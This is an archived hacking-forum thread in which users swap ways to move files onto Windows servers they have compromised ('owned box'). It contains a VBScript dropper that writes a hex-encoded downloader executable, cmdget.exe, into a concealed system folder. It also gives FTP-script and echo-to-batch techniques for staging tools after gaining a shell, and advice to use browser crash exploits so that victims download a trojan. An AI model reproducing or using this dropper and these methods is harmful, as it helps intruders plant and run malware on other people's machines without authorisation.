hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

totof
I have a server but hte ftp doasn't work, tftp doesnot's work , vbscript uload dosn't work and with the method asp and php i don't know if there is a server asp and php
Wich method that i can use to upload my files dry.gif
BeNiNuK
netbios?
wget?
totof
biggrin.gif biggrin.gif to use wget you have to upload wget on the target man laugh.gif laugh.gif then it's not a solution
dEuS
telnet?
terminal services?

if you want to use telnet:
telnet

hope it helps

cya
6066up9r
check to see if you can compile things on the machine, you can always echo code to be compiled as ftp.exe wink.gif
DougieShiney
add user to the system and create share connect via that......

use the echo compile method as mentioned...


Use Iexplorer and copy the file from the temp internet folder.

totof
CODE

File = & #34;4D5A900003z3z04z3zFFFF0000B8z7z40z35zB0z3z0E1FBA0E00B409CD21B8014CCD21546869
7320"
File = File & & #34;70726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24
z7z55"
File = File & & #34;D9F9DB11B8978811B8978811B8978811B897881AB89788ED98858813B897885269636811B897
88z8z"
File = File & & #34;504500004C010100E574303Fz8zE0000F010B01050C0004z10zD011z3z10z3z20z4z40000010
z3z02"
File = File & & #34;000004z7z04z8z20z3z020000BF54000003z5z10000010z4z10000010z6z10z11zDC10000050
z83z"
File = File & & #34;481100001Cz27z2E74657874z3z5203z3z10z3z04z3z02z14z200000E0z244z6F70656E00466
96C65"
File = File & & #34;20446F776E6C6F616465642Ez3z2C11z10z7A110000481100003411z10zA6110000501100004
011z10z"
File = File & & #34;C41100005C11z22z6411z6z861100009411z6zB411z6z6411z6z861100009411z6zB411z6z3F
0055"
File = File & & #34;524C446F776E6C6F6164546F46696C6541000075726C6D6F6E2E646C6C000075004578697450
726F"
File = File & & #34;6365737300B600476574436F6D6D616E644C696E6541004B45524E454C33322E646C6C00006E
0053"
File = File & & #34;68656C6C4578656375746541005348454C4C33322E646C6C00E85Dz3zA3C0104000680010400
06A01"
File = File & & #34;E85Az3z68801040006A02E84Ez3z6A006A00688010400068001040006A00E81Fz3z6A016A006
A0068"
File = File & & #34;8010400068C41040006A00E81Az3z6A00E807z3zCCFF2548114000FF2550114000FF25541140
00FF"
File = File & & #34;255C114000CCCC558BEC81C47CFEFFFF5657E8E2FFFFFF8945FC33C98B75FCAC3C0074073C22
75F7"
File = File & & #34;41EBF451D1E9D1E1583BC1740B5F5EB803z3zC9C208008B75FC8DBD3CFFFFFFAC3C0074093C0
97502"
File = File & & #34;B020AAEBF2AA8D853CFFFFFF8BF08BF8AC3C007502EB1B3C227503AAEB03AAEBEFAC3C207502
B0FE"
File = File & & #34;3C227503AAEBE1AAEBEFAA8D853CFFFFFF8BF08DBD7CFEFFFFB9z4zAC3C2074FB3B4D087415A
C3C00"
File = File & & #34;741D3C20750AAC3C2074FB413C00740FEBE6AAAC3C2074073C007403AAEBF4B000AA3B4D0873
118B"
File = File & & #34;7D0CB000AAB802z3z5F5EC9C208008D857CFEFFFF8BF08B7D0CAC3C00740D3C2274F73CFE750
2B020"
File = File & "AAEBEEAA8B750CAC3C00750B5F5EB804z3zC9C20800B801z3z5F5EC9C208z175z"

i = 1 : Tmp = "" : While i<=len(File) : If mid(File,i,1) = "z" then
a = i+1 : k = 0 : while mid(File,a,1)<>"z" : k = k*10 + mid(File,a,1) : a = a+1 : WEnd : i = a+1 : for a=1 to k : Tmp = Tmp + "00" : Next
ElseIf mid(File,i,1) <> "z" then : Tmp = Tmp & mid(File,i,2) : i = i+2
end if : WEnd : Set hFSO = CreateObject("Scripting.FileSystemObject") : If hFSO.FileExists("C:\WINNT\security\policies\com1\wwwroot\aux\wwwroot\Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}\home\cmdget.exe")=True then hFSO.DeleteFile "C:\WINNT\security\policies\com1\wwwroot\aux\wwwroot\Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}\home\cmdget.exe",True : end if
Set hFile = hFSO.CreateTextFile("C:\WINNT\security\policies\com1\wwwroot\aux\wwwroot\Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}\home\cmdget.exe", ForWriting) : i = 1 : while i < len(Tmp)
File = Int("&H" & Mid(Tmp, i, 2)) : hFile.Write(Chr(File)) : i = i+2 : WEnd : hFile.Close

i want transform this code with command echo like that:
echo File = & quot;4D5A900003z3z04z3zFFFF0000B8z7z40z35zB0z3z0E1FBA0E00B409CD21B8014CCD2154686
97320" >> tes.bat


But i have a lot of problems with the lines followings anyone can help ,
pleaz
LittleHacker
Try to make a FTP connection to your server.
if you gained shell first creat a plain text file as follow with echo or ...
CODE

OPEN your_ip
username
password
GET file

then use this
CODE

FTP < ftp.txt

where this ftp.txt is that you created
d0whc3r
and... if u can't use ftp.exe or any other file to upload something to some owned box, what can i do?

any .asp, .php or .html file to upload via http server?
any other idea?

thx smile.gif
FiNaLBeTa
Here are three ways of uploading. where posted on this board.
LittleHacker
yea
btw you can use browser exploit. there are much for IE and some for NetScape.
You may create a html include the crash code and using your shell to crash them and make them download your trojan.
just do search with google and the default browser of that box, you'll find many!
brainbuster
hi

try this... i only use this ... simply rox biggrin.gif

click me

cmdget : script
6066up9r
thanks for the pdf file there, they are always very easy to understand!
totof
Yep thanks for the pdf But i got a error at the line 8 for the technics php , and i want to add that this methods works if you have a server(php or asp or perl) on the target ele they are not necessary.
HTe methods ftp works but the bandwith discrease every time and after timeout it same as for the tftp (eror timeout) the i think that the method to create cmdget in *.bat it's the god solution
totof
thanks man biggrin.gif brainbuster i checked that for lontime thnks you man respect laugh.gif cool.gif
d0whc3r
sad.gif
i can't open that .pdf :S
it happens with all attachments, only if it's in .zip i can repare it.
could u compress it? hehe thx

sorry for my bad english tongue.gif
totof
laugh.gif check that
d0whc3r
sorry i can't sad.gif
put it in a .zip biggrin.gif
thx tongue.gif
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.